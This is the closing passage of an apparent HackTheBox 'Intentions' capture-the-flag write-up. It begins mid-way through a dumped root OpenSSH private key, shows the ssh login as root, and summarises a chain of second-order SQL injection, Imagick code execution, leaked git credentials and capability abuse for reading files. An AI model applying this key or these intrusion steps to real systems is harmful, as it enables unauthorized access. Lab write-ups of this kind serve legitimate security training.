eoU+woiDat+GdghXfbdsdaNuPiTgEI/SQrm0WtXzjBbPDqhAYhkB5jiI5lI+8de2IMH4bO DvAEA744Ys1qKf+zY4O15u6Lsc6F3QAAAAMBAAEAAAGABGD0S8gMhE97LUn3pC7RtUXPky tRSuqx1VWHu9yyvdWS5g8iToOVLQ/RsP+hFga+jqNmRZBRlz6foWHIByTMcOeKH8/qjD4O 9wM8ho4U5pzD5q2nM3hR4G1g0Q4o8EyrzygQ27OCkZwi/idQhnz/8EsvtWRj/D8G6ME9lo pHlKdz4fg/tj0UmcGgA4yF3YopSyM5XCv3xac+YFjwHKSgegHyNe3se9BlMJqfz+gfgTz3 8l9LrLiVoKS6JsCvEDe6HGSvyyG9eCg1mQ6J9EkaN2q0uKN35T5siVinK9FtvkNGbCEzFC PknyAdy792vSIuJrmdKhvRTEUwvntZGXrKtwnf81SX/ZMDRJYqgCQyf5vnUtjKznvohz2R 0i4lakvtXQYC/NNc1QccjTL2NID4nSOhLH2wYzZhKku1vlRmK13HP5BRS0Jus8ScVaYaIS bEDknHVWHFWndkuQSG2EX9a2auy7oTVCSu7bUXFnottatOxo1atrasNOWcaNkRgdehAAAA wQDUQfNZuVgdYWS0iJYoyXUNSJAmzFBGxAv3EpKMliTlb/LJlKSCTTttuN7NLHpNWpn92S pNDghhIYENKoOUUXBgb26gtg1qwzZQGsYy8JLLwgA7g4RF3VD2lGCT377lMD9xv3bhYHPl lo0L7jaj6PiWKD8Aw0StANo4vOv9bS6cjEUyTl8QM05zTiaFk/UoG3LxoIDT6Vi8wY7hIB AhDZ6Tm44Mf+XRnBM7AmZqsYh8nw++rhFdr9d39pYaFgok9DcAAADBAO1D0v0/2a2XO4DT AZdPSERYVIF2W5TH1Atdr37g7i7zrWZxltO5rrAt6DJ79W2laZ9B1Kus1EiXNYkVUZIarx Yc6Mr5lQ1CSpl0a+OwyJK3Rnh5VZmJQvK0sicM9MyFWGfy7cXCKEFZuinhS4DPBCRSpNBa zv25Fap0Whav4yqU7BsG2S/mokLGkQ9MVyFpbnrVcnNrwDLd2/whZoENYsiKQSWIFlx8Gd uCNB7UAUZ7mYFdcDBAJ6uQvPFDdphWPQAAAMEA+WN+VN/TVcfYSYCFiSezNN2xAXCBkkQZ X7kpdtTupr+gYhL6gv/A5mCOSvv1BLgEl0A05BeWiv7FOkNX5BMR94/NWOlS1Z3T0p+mbj D7F0nauYkSG+eLwFAd9K/kcdxTuUlwvmPvQiNg70Z142bt1tKN8b3WbttB3sGq39jder8p nhPKs4TzMzb0gvZGGVZyjqX68coFz3k1nAb5hRS5Q+P6y/XxmdBB4TEHqSQtQ4PoqDj2IP DVJTokldQ0d4ghAAAAD3Jvb3RAaW50ZW50aW9ucwECAw== -----END OPENSSH PRIVATE KEY-----

- Using the root’s private key logged into the server as root and captured the root flag.
chmod 600 id_rsa ssh -i id_rsa [email protected]



Also Read: HTB – Forest
Conclusion:

So that was “Intentions” for you. This machine starts off with an image gallery website which is prone to a second-order SQL injection leading to the discovery of BCrypt hashes. Further enumeration reveals a v2 API endpoint that allows authentication via hashes instead of passwords, leading to admin access to the site. Within the admin panel we were able to find a page that allows us to edit the images within the gallery with the help of Imagick. After that, we exploited the Imagick object instantiation and gained code execution on the target. Once we had a shell as www-data we examined the Git history for the current project, where we found credentials for the user greg. Once logged in as greg, performed enumeration and find that they have access to the /opt/scanner/scanner binary with extended capabilities, specifically CAP_DAC_READ_SEARCH. This capability allows us to exfiltrate sensitive files such as the private SSH key of the root user, byte-by-byte. With the key, we were then able to authenticate through SSH as the root user and captured the flag. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.